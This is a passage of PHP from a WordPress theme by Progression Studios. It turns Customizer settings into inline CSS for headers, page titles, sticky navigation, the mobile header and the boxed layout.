if ( get_theme_mod( 'progression_studios_header_bg_image_image_position', 'cover') == 'cover' ) {
$progression_studios_header_bg_cover = "background-repeat: no-repeat; background-position:center center; background-size: cover;";
} else {
$progression_studios_header_bg_cover = "background-repeat:repeat-all; ";
}
if ( get_theme_mod( 'progression_studios_body_bg_image') ) {
$progression_studios_body_bg = "background-image:url(" . esc_attr( get_theme_mod( 'progression_studios_body_bg_image') ). ");";
} else {
$progression_studios_body_bg = "";
}
if ( get_theme_mod( 'progression_studios_page_title_bg_image') ) {
$progression_studios_page_title_bg = "background-image:url(" . esc_attr( get_theme_mod( 'progression_studios_page_title_bg_image') ). ");";
} else {
$progression_studios_page_title_bg = "";
}
if ( get_theme_mod( 'progression_studios_portfolio_title_bg_image') ) {
$progression_studios_portfolio_title_bg = "background-image:url(" . esc_attr( get_theme_mod( 'progression_studios_portfolio_title_bg_image') ). ");";
} else {
$progression_studios_portfolio_title_bg = "";
}
if ( get_theme_mod( 'progression_studios_post_title_bg_image') ) {
$progression_studios_post_title_bg = "background-image:url(" . esc_attr( get_theme_mod( 'progression_studios_post_title_bg_image') ). ");";
} else {
$progression_studios_post_title_bg = "";
}
if ( get_theme_mod( 'progression_studios_body_bg_image_image_position', 'cover') == 'cover') {
$progression_studios_body_bg_cover = "background-repeat: no-repeat; background-position:center center; background-size: cover; background-attachment: fixed;";
} else {
$progression_studios_body_bg_cover = "background-repeat:repeat-all;";
}
if ( get_theme_mod( 'progression_studios_page_title_image_position', 'cover') == 'cover' ) {
$progression_studios_page_tite_bg_cover = "background-repeat: no-repeat; background-position:center center; background-size: cover;";
} else {
$progression_studios_page_tite_bg_cover = "background-repeat:repeat-all;";
}
if ( get_theme_mod( 'progression_studios_page_title_vertical_height') ) {
$progression_studios_page_tite_vertical_height = "height:" . esc_attr( get_theme_mod('progression_studios_page_title_vertical_height', '80') ). "vh;";
} else {
$progression_studios_page_tite_vertical_height = "";
}
if ( get_theme_mod( 'progression_studios_post_title_bg_color') ) {
$progression_studios_post_tite_bg_color = "background-color: " . esc_attr( get_theme_mod('progression_studios_post_title_bg_color', '#000000') ) . ";";
} else {
$progression_studios_post_tite_bg_color = "";
}
if ( get_theme_mod( 'progression_studios_post_page_title_bg_image') ) {
$progression_studios_post_tite_bg_image_post = "background-image:url(" . esc_attr( get_theme_mod( 'progression_studios_post_page_title_bg_image', get_template_directory_uri().'/images/page-title.jpg' ) ). ");";
} else {
$progression_studios_post_tite_bg_image_post = "";
}
if ( get_theme_mod( 'progression_studios_page_post_title_image_position', 'cover') == 'cover' ) {
$progression_studios_post_tite_bg_cover = "background-repeat: no-repeat; background-position:center center; background-size: cover;";
} else {
$progression_studios_post_tite_bg_cover = "background-repeat:repeat-all;";
}
if ( get_theme_mod( 'progression_studios_page_title_overlay_color', 'rgba(0,0,0,0)') ) {
$progression_studios_page_tite_overlay_image_cover = "#progression-studios-post-page-title:before, #page-title-pro:before {
background: -moz-linear-gradient(top, " . esc_attr( get_theme_mod('progression_studios_page_title_overlay_color_top', 'rgba(0,0,0,0)') ) . " 0%, " . esc_attr( get_theme_mod('progression_studios_page_title_overlay_color', 'rgba(0,0,0,0)') ) . " 100%);
background: -webkit-linear-gradient(top, " . esc_attr( get_theme_mod('progression_studios_page_title_overlay_color_top', 'rgba(0,0,0,0)') ) . " 0%," . esc_attr( get_theme_mod('progression_studios_page_title_overlay_color', 'rgba(0,0,0,0)') ) . " 100%);
background: linear-gradient(to bottom, " . esc_attr( get_theme_mod('progression_studios_page_title_overlay_color_top', 'rgba(0,0,0,0)') ) . " 0%, " . esc_attr( get_theme_mod('progression_studios_page_title_overlay_color', 'rgba(0,0,0,0)') ) . " 100%);
}";
} else {
$progression_studios_page_tite_overlay_image_cover = "";
}
if ( get_theme_mod( 'progression_studios_post_title_overlay_color', '#03090d') ) {
$progression_studios_post_tite_overlay_image_cover = "body.single-post #page-title-pro:before {
background: -moz-linear-gradient(top, " . esc_attr( get_theme_mod('progression_studios_post_title_overlay_color_top', 'rgba(3,9,13,0.2)') ) . " 0%, " . esc_attr( get_theme_mod('progression_studios_post_title_overlay_color', '#03090d') ) . " 100%);
background: -webkit-linear-gradient(top, " . esc_attr( get_theme_mod('progression_studios_post_title_overlay_color_top', 'rgba(3,9,13,0.2)') ) . " 0%," . esc_attr( get_theme_mod('progression_studios_post_title_overlay_color', '#03090d') ) . " 100%);
background: linear-gradient(to bottom, " . esc_attr( get_theme_mod('progression_studios_post_title_overlay_color_top', 'rgba(3,9,13,0.2)') ) . " 0%, " . esc_attr( get_theme_mod('progression_studios_post_title_overlay_color', '#03090d') ) . " 100%);
}";
} else {
$progression_studios_post_tite_overlay_image_cover = "";
}
if ( get_theme_mod( 'progression_studios_portfolio_title_overlay_color', 'rgba(0,0,0,0)') ) {
$progression_studios_portfolio_tite_overlay_image_cover = "body.single-portfolio_cannaverde_progression #page-title-pro:before {
background: -moz-linear-gradient(top, " . esc_attr( get_theme_mod('progression_studios_portfolio_title_overlay_color_top', 'rgba(0,0,0,0)') ) . " 5%, " . esc_attr( get_theme_mod('progression_studios_portfolio_title_overlay_color', 'rgba(0,0,0,0)') ) . " 100%);
background: -webkit-linear-gradient(top, " . esc_attr( get_theme_mod('progression_studios_portfolio_title_overlay_color_top', 'rgba(0,0,0,0)') ) . " 5%," . esc_attr( get_theme_mod('progression_studios_portfolio_title_overlay_color', 'rgba(0,0,0,0)') ) . " 100%);
background: linear-gradient(to bottom, " . esc_attr( get_theme_mod('progression_studios_portfolio_title_overlay_color_top', 'rgba(0,0,0,0)') ) . " 5%, " . esc_attr( get_theme_mod('progression_studios_portfolio_title_overlay_color', 'rgba(0,0,0,0)') ) . " 100%);
}";
} else {
$progression_studios_portfolio_tite_overlay_image_cover = "";
}
if ( get_theme_mod( 'progression_studios_sticky_logo_width', '0') != '0' ) {
$progression_studios_sticky_logo_width = "width:" . esc_attr( get_theme_mod('progression_studios_sticky_logo_width', '70') ) . "px;";
} else {
$progression_studios_sticky_logo_width = "";
}
if ( get_theme_mod( 'progression_studios_sticky_logo_margin_top', '0') != '0' ) {
$progression_studios_sticky_logo_top = "padding-top:" . esc_attr( get_theme_mod('progression_studios_sticky_logo_margin_top', '31') ) . "px;";
} else {
$progression_studios_sticky_logo_top = "";
}
if ( get_theme_mod( 'progression_studios_sticky_logo_margin_bottom', '0') != '0' ) {
$progression_studios_sticky_logo_bottom = "padding-bottom:" . esc_attr( get_theme_mod('progression_studios_sticky_logo_margin_bottom', '31') ) . "px;";
} else {
$progression_studios_sticky_logo_bottom = "";
}
if ( get_theme_mod( 'progression_studios_sticky_nav_padding', '0') != '0' ) {
$progression_studios_sticky_nav_padding = "
.progression-sticky-scrolled .progression-mini-banner-icon {
top:" . esc_attr( (get_theme_mod('progression_studios_sticky_nav_padding') - get_theme_mod('progression_studios_nav_font_size', '15')) - 4 ). "px;
}
.progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a {
margin-top:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 7 ). "px;
margin-bottom:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 8 ). "px;
}
.progression-sticky-scrolled #progression-shopping-cart-count span.progression-cart-count { top:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') ). "px; }
.progression-sticky-scrolled #progression-studios-header-login-container a.progresion-studios-login-icon {
padding-top:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 4 ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 4 ). "px;
}
.progression-sticky-scrolled #progression-studios-header-search-icon .progression-icon-search {
padding-top:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 4 ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 4 ). "px;
}
.progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon {
padding-top:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 5 ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 5 ). "px;
}
.progression-sticky-scrolled .sf-menu a {
padding-top:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') ). "px;
}
";
} else {
$progression_studios_sticky_nav_padding = "";
}
if ( get_theme_mod( 'progression_studios_sticky_nav_underline') ) {
$progression_studios_sticky_nav_underline = "
.progression-sticky-scrolled .sf-menu a:before {
background:". esc_attr( get_theme_mod('progression_studios_sticky_nav_underline') ). ";
}
.progression-sticky-scrolled .sf-menu a:hover:before, .progression-sticky-scrolled .sf-menu li.sfHover a:before, .progression-sticky-scrolled .sf-menu li.current-menu-item a:before {
opacity:1;
background:". esc_attr( get_theme_mod('progression_studios_sticky_nav_underline') ). ";
}
";
} else {
$progression_studios_sticky_nav_underline = "";
}
if ( get_theme_mod( 'progression_studios_sticky_nav_font_color') ) {
$progression_studios_sticky_nav_option_font_color = "
body .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a,
body .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a,
body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a,
body .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon,
body .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon,
body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon,
body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon,
.progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon,
.progression-sticky-scrolled .active-mobile-icon-pro .mobile-menu-icon-pro, .progression-sticky-scrolled .mobile-menu-icon-pro, .progression-sticky-scrolled .mobile-menu-icon-pro:hover,
.progression-sticky-scrolled #progression-studios-header-login-container a.progresion-studios-login-icon,
.progression-sticky-scrolled #progression-studios-header-search-icon .progression-icon-search,
.progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a, .progression-sticky-scrolled .sf-menu a {
color:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_font_color') ) . ";
}";
} else {
$progression_studios_sticky_nav_option_font_color = "";
}
if ( get_theme_mod( 'progression_studios_sticky_nav_font_color_hover') ) {
$progression_studios_optional_sticky_nav_font_hover = "
body .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a:hover,
body .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a:hover,
body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a:hover,
body .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon:hover,
body .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon:hover,
body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon:hover,
body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon:hover,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon:hover,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled .activated-class #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon:hover,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled .activated-class #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon,
.progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon:hover,
.progression-sticky-scrolled .activated-class #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon,
.progression-sticky-scrolled #progression-studios-header-search-icon:hover .progression-icon-search, .progression-sticky-scrolled #progression-studios-header-search-icon.active-search-icon-pro .progression-icon-search, .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a:hover, .progression-sticky-scrolled .sf-menu a:hover, .progression-sticky-scrolled .sf-menu li.sfHover a, .progression-sticky-scrolled .sf-menu li.current-menu-item a {
color:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_font_color_hover') ) . ";
}";
} else {
$progression_studios_optional_sticky_nav_font_hover = "";
}
if ( get_theme_mod( 'progression_studios_nav_bg') ) {
$progression_studios_optional_nav_bg = "background:" . esc_attr( get_theme_mod('progression_studios_nav_bg') ). ";";
} else {
$progression_studios_optional_nav_bg = "";
}
if ( get_theme_mod( 'progression_studios_nav_underline', '#8e94a0') ) {
$progression_studios_sticky_nav_underline_default = "
.sf-menu a:before {
background:" . esc_attr( get_theme_mod('progression_studios_nav_underline', '#8e94a0') ). ";
}
.sf-menu a:hover:before, .sf-menu li.sfHover a:before, .sf-menu li.current-menu-item a:before {
opacity:1;
background:" . esc_attr( get_theme_mod('progression_studios_nav_underline', '#8e94a0') ). ";
}
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu a:before,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu a:hover:before,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover a:before,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.current-menu-item a:before,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu a:before,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu a:hover:before,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover a:before,
.progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.current-menu-item a:before {
background:" . esc_attr( get_theme_mod('progression_studios_nav_underline', '#8e94a0') ). ";
}
";
} else {
$progression_studios_sticky_nav_underline_default = "";
}
if ( get_theme_mod( 'progression_studios_top_header_onoff', 'off-pro') == 'off-pro' ) {
$progression_studios_top_header_off_on_display = "display:none;";
} else {
$progression_studios_top_header_off_on_display = "";
}
if ( get_theme_mod( 'progression_studios_pro_scroll_top', 'scroll-on-pro') == "scroll-off-pro" ) {
$progression_studios_scroll_top_disable = "display:none !important;";
} else {
$progression_studios_scroll_top_disable = "";
}
if ( get_theme_mod( 'progression_studios_nav_bg_hover') ) {
$progression_studios_optiona_nav_bg_hover = ".sf-menu a:hover, .sf-menu li.sfHover a, .sf-menu li.current-menu-item a { background:". esc_attr( get_theme_mod('progression_studios_nav_bg_hover') ). "; }";
} else {
$progression_studios_optiona_nav_bg_hover = "";
}
if ( get_theme_mod( 'progression_studios_sticky_nav_font_bg') ) {
$progression_studios_optiona_sticky_nav_font_bg = ".progression-sticky-scrolled .sf-menu a { background:". esc_attr( get_theme_mod('progression_studios_sticky_nav_font_bg') ). "; }";
} else {
$progression_studios_optiona_sticky_nav_font_bg = "";
}
if ( get_theme_mod( 'progression_studios_sticky_nav_font_hover_bg') ) {
$progression_studios_optiona_sticky_nav_hover_bg = ".progression-sticky-scrolled .sf-menu a:hover, .progression-sticky-scrolled .sf-menu li.sfHover a, .progression-sticky-scrolled .sf-menu li.current-menu-item a { background:". esc_attr( get_theme_mod('progression_studios_sticky_nav_font_hover_bg') ). "; }";
} else {
$progression_studios_optiona_sticky_nav_hover_bg = "";
}
if ( get_theme_mod( 'progression_studios_sticky_nav_font_color') ) {
$progression_studios_option_sticky_nav_font_color = ".progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon .progression-icon-search, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container a.progresion-studios-login-icon, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon .progression-icon-search, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container a.progresion-studios-login-icon, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu a {
color:". esc_attr( get_theme_mod('progression_studios_sticky_nav_font_color') ). ";
}";
} else {
$progression_studios_option_sticky_nav_font_color = "";
}
if ( get_theme_mod( 'progression_studios_sticky_nav_font_color_hover') ) {
$progression_studios_option_stickY_nav_font_hover_color = ".progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon:hover .progression-icon-search, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon.active-search-icon-pro .progression-icon-search, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.current-menu-item a,
.progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon:hover .progression-icon-search, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon.active-search-icon-pro .progression-icon-search, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.current-menu-item a {
color:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_font_color_hover') ) . ";
}";
} else {
$progression_studios_option_stickY_nav_font_hover_color = "";
}
if ( get_theme_mod( 'progression_studios_sticky_nav_highlight_font') ) {
$progression_studios_option_sticky_hightlight_font_color = "body .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:before, body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:before, .progression-sticky-scrolled .sf-menu li.sfHover.highlight-button a, .progression-sticky-scrolled .sf-menu li.current-menu-item.highlight-button a, .progression-sticky-scrolled .sf-menu li.highlight-button a, .progression-sticky-scrolled .sf-menu li.highlight-button a:hover { color:". esc_attr( get_theme_mod('progression_studios_sticky_nav_highlight_font') ). "; }";
} else {
$progression_studios_option_sticky_hightlight_font_color = "";
}
if ( get_theme_mod( 'progression_studios_sticky_nav_highlight_button') ) {
$progression_studios_option_sticky_hightlight_bg_color = "body .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:hover, body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:hover, body .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:before, body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:before, .progression-sticky-scrolled .sf-menu li.current-menu-item.highlight-button a:before, .progression-sticky-scrolled .sf-menu li.highlight-button a:before { background:". esc_attr( get_theme_mod('progression_studios_sticky_nav_highlight_button') ). "; }";
} else {
$progression_studios_option_sticky_hightlight_bg_color = "";
}
if ( get_theme_mod( 'progression_studios_sticky_nav_highlight_button_hover') ) {
$progression_studios_option_sticky_hightlight_bg_color_hover = "body .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:hover:before, body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:hover:before,
body .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.current-menu-item.highlight-button a:hover:before, body .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:hover:before, .progression-sticky-scrolled .sf-menu li.current-menu-item.highlight-button a:hover:before, .progression-sticky-scrolled .sf-menu li.highlight-button a:hover:before { background:". esc_attr( get_theme_mod('progression_studios_sticky_nav_highlight_button_hover') ). "; }";
} else {
$progression_studios_option_sticky_hightlight_bg_color_hover = "";
}
if ( get_theme_mod( 'progression_studios_mobile_header_bg') ) {
$progression_studios_mobile_header_bg_color = ".progression-studios-transparent-header header#masthead-pro, header#masthead-pro {background:". esc_attr( get_theme_mod('progression_studios_mobile_header_bg') ) . "; }";
} else {
$progression_studios_mobile_header_bg_color = "";
}
if ( get_theme_mod( 'progression_studios_mobile_header_logo_width') ) {
$progression_studios_mobile_header_logo_width = "body #logo-pro img { width:" . esc_attr( get_theme_mod('progression_studios_mobile_header_logo_width') ). "px; } ";
} else {
$progression_studios_mobile_header_logo_width = "";
}
if ( get_theme_mod( 'progression_studios_mobile_header_logo_margin') ) {
$progression_studios_mobile_header_logo_margin_top = " body #logo-pro img { padding-top:". esc_attr( get_theme_mod('progression_studios_mobile_header_logo_margin') ). "px; padding-bottom:". esc_attr( get_theme_mod('progression_studios_mobile_header_logo_margin') ). "px; }";
} else {
$progression_studios_mobile_header_logo_margin_top = "";
}
if ( get_theme_mod( 'progression_studios_header_background_color', '#1d1f22') ) {
$progression_studios_header_bg_optional = "
header#masthead-pro { background-color:" . esc_attr( get_theme_mod('progression_studios_header_background_color', '#1d1f22' ) ) . ";
}";
} else {
$progression_studios_header_bg_optional = "";
}
if ( get_theme_mod( 'progression_studios_header_border_color') ) {
$progression_studios_header_border_optional = "
.progression-header-phone-number { border-left:1px solid " . esc_attr( get_theme_mod('progression_studios_header_border_color', 'rgba(255,255,255, 0.1)') ) . ";
}
header#masthead-pro:after { display:block; background-color:" . esc_attr( get_theme_mod('progression_studios_header_border_color', 'rgba(255,255,255, 0.1)') ) . ";
}";
} else {
$progression_studios_header_border_optional = "";
}
if ( get_theme_mod( 'progression_studios_mobile_header_nav_padding') ) {
$progression_studios_mobile_header_nav_padding_top = " body header#masthead-pro #progression-shopping-cart-count span.progression-cart-count {top:" . esc_attr( get_theme_mod('progression_studios_mobile_header_nav_padding') ) . "px;}
body header#masthead-pro .mobile-menu-icon-pro {padding-top:" . esc_attr( get_theme_mod('progression_studios_mobile_header_nav_padding') - 3 ) . "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_mobile_header_nav_padding') - 5 ) . "px; }
body header#masthead-pro #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon {
padding-top:" . esc_attr( get_theme_mod('progression_studios_mobile_header_nav_padding') - 5 ) . "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_mobile_header_nav_padding') - 5 ) . "px;
}";
} else {
$progression_studios_mobile_header_nav_padding_top = "";
}
if ( function_exists('z_taxonomy_image_url') && z_taxonomy_image_url() ) {
$progression_studios_custom_tax_page_title_img = "body #page-title-overlay-image {background-image:url('" . esc_url( z_taxonomy_image_url() ) . "'); }";
} else {
$progression_studios_custom_tax_page_title_img = "";
}
if ( is_singular('portfolio_commotion') && get_post_meta($post->ID, 'progression_studios_header_post_image', true ) ) {
$progression_studios_custom_portfolio_title_img = "body #page-title-overlay-image {background-image:url('" . esc_url( get_post_meta($post->ID, 'progression_studios_header_post_image', true)) . "'); }";
} else {
$progression_studios_custom_portfolio_title_img = "";
}
if ( is_page() && get_post_meta($post->ID, 'progression_studios_header_image', true ) ) {
$progression_studios_custom_page_title_img = "body #page-title-overlay-image {background-image:url('" . esc_url( get_post_meta($post->ID, 'progression_studios_header_image', true)) . "'); }";
} else {
$progression_studios_custom_page_title_img = "";
}
if ( class_exists('Woocommerce') ) {
global $woocommerce;
$your_shop_page = get_post( wc_get_page_id( 'shop' ) );
if (
is_shop() && $your_shop_page || is_singular( 'product') && $your_shop_page || is_tax( 'product_cat') && $your_shop_page || is_tax( 'product_tag') && $your_shop_page ) {
if ( get_post_meta($your_shop_page->ID, 'progression_studios_header_image', true ) ) {
$progression_studios_woo_page_title = "body #page-title-overlay-image {background-image:url('" . esc_url( get_post_meta($your_shop_page->ID, 'progression_studios_header_image', true) ). "'); }";
} else {
$progression_studios_woo_page_title = "";
}
} else {
$progression_studios_woo_page_title = "";
}
} else {
$progression_studios_woo_page_title = "";
}
if ( !is_front_page() && is_home() || !is_front_page() && is_single() ) {
$cover_page = get_page( get_option( 'page_for_posts' ));
if ( is_home() && get_post_meta($cover_page->ID, 'progression_studios_header_image', true) || is_singular( 'post') && get_post_meta($cover_page->ID, 'progression_studios_header_image', true)|| is_category( ) && get_post_meta($cover_page->ID, 'progression_studios_header_image', true) ) {
$progression_studios_blog_header_img = "body #page-title-overlay-image {background-image:url('" . esc_url( get_post_meta($cover_page->ID, 'progression_studios_header_image', true) ). "'); }";
} else {
$progression_studios_blog_header_img = ""; }
} else {
$progression_studios_blog_header_img = "";
}
if ( get_theme_mod( 'progression_studios_header_icon_bg_color') ) {
$progression_studios_top_header_icon_bg = "background:" . esc_attr( get_theme_mod('progression_studios_header_icon_bg_color') ) . ";";
} else {
$progression_studios_top_header_icon_bg = "";
}
if ( get_theme_mod( 'progression_studios_top_header_background') ) {
$progression_studios_top_header_background_option = "background-color:" . esc_attr( get_theme_mod('progression_studios_top_header_background', '#666666') ) . ";";
} else {
$progression_studios_top_header_background_option = "";
}
if ( get_theme_mod( 'progression_studios_top_header_border_bottom', 'rgba(255,255,255, 0.1)') ) {
$progression_studios_top_header_border_bottom_option = "border-bottom:1px solid " . esc_attr( get_theme_mod('progression_studios_top_header_border_bottom', 'rgba(255,255,255, 0.1)') ) . ";";
} else {
$progression_studios_top_header_border_bottom_option = "";
}
if ( get_theme_mod( 'progression_studios_site_boxed') == 'boxed-pro' ) {
$progression_studios_boxed_layout = "
@media only screen and (min-width: 1024px) {
#boxed-layout-pro.progression-studios-preloader {margin-top:90px;}
#boxed-layout-pro.progression-studios-preloader.progression-preloader-completed {animation-name: ProMoveUpPageLoaderBoxed; animation-delay:200ms;}
#boxed-layout-pro { margin-top:50px; margin-bottom:50px;}
}
#boxed-layout-pro #content-pro {
overflow:hidden;
}
#boxed-layout-pro {
position:relative;
width:". esc_attr( get_theme_mod('progression_studios_site_width', '1200') ) . "px;
margin-left:auto; margin-right:auto;
background-color:". esc_attr( get_theme_mod('progression_studios_boxed_background_color', '#ffffff') ) . ";
box-shadow: 0px 0px 50px rgba(0, 0, 0, 0.15);
}
#boxed-layout-pro .width-container-pro, .width-container-over-ride { width:90%; }
@media only screen and (min-width: 1025px) and (max-width: ". esc_attr( get_theme_mod('progression_studios_site_width', '1200') + 100 ) . "px) {
body #boxed-layout-pro{width:92%;}
}
";
} else {
$progression_studios_boxed_layout = "";
}
$progression_studios_custom_css = "
$progression_studios_custom_portfolio_title_img
$progression_studios_custom_page_title_img
$progression_studios_woo_page_title
$progression_studios_custom_tax_page_title_img
$progression_studios_blog_header_img
body #logo-pro img {
width:" . esc_attr( get_theme_mod('progression_studios_theme_logo_width', '132') ) . "px;
padding-top:" . esc_attr( get_theme_mod('progression_studios_theme_logo_margin_top', '0') ) . "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_theme_logo_margin_bottom', '0') ) . "px;
}
a {
color:" . esc_attr( get_theme_mod('progression_studios_default_link_color', '#5be592') ) . ";
}
a:hover {
color:" . esc_attr( get_theme_mod('progression_studios_default_link_hover_color', '#ffffff') ). ";
}
#xion-progression-header-top .sf-mega, header ul .sf-mega {margin-left:-" . esc_attr( get_theme_mod('progression_studios_site_width', '1200') / 2 ) . "px; width:" . esc_attr( get_theme_mod('progression_studios_site_width', '1200') ) . "px;}
body .elementor-section.elementor-section-boxed > .elementor-container {max-width:" . esc_attr( get_theme_mod('progression_studios_site_width', '1200') ) . "px;}
body.elementor-page.single-product #content-pro .width-container-pro, .width-container-pro, .width-container-over-ride { width:" . esc_attr( get_theme_mod('progression_studios_site_width', '1200') ) . "px; }
body.elementor-page .width-container-over-ride { width:" . esc_attr( get_theme_mod('progression_studios_site_width', '1200') - 20 ) . "px; }
$progression_studios_header_bg_optional
$progression_studios_header_border_optional
body.progression-studios-header-sidebar-before #progression-inline-icons .progression-studios-social-icons, body.progression-studios-header-sidebar-before:before, header#masthead-pro {
$progression_studios_header_bg_image
$progression_studios_header_bg_cover
}
body {
background-color:" . esc_attr( get_theme_mod('progression_studios_background_color', '#03090d') ). ";
$progression_studios_body_bg
$progression_studios_body_bg_cover
}
#page-title-pro {
background-color:" . esc_attr( get_theme_mod('progression_studios_page_title_bg_color', '#121517') ). ";
$progression_studios_page_tite_vertical_height
}
#page-title-overlay-image {
$progression_studios_page_title_bg
$progression_studios_page_tite_bg_cover
}
body.single-post #page-title-overlay-image {
$progression_studios_post_title_bg
$progression_studios_page_tite_bg_cover
}
#progression-studios-page-title-container {
padding-top:" . esc_attr( get_theme_mod('progression_studios_page_title_padding_top', '180') ). "px;
padding-bottom:" . esc_attr( get_theme_mod('progression_studios_page_title_padding_bottom', '180') ). "px;
text-align:" . esc_attr( get_theme_mod('progression_studios_page_title_align', 'left') ). ";
}
#progression-studios-post-page-title {
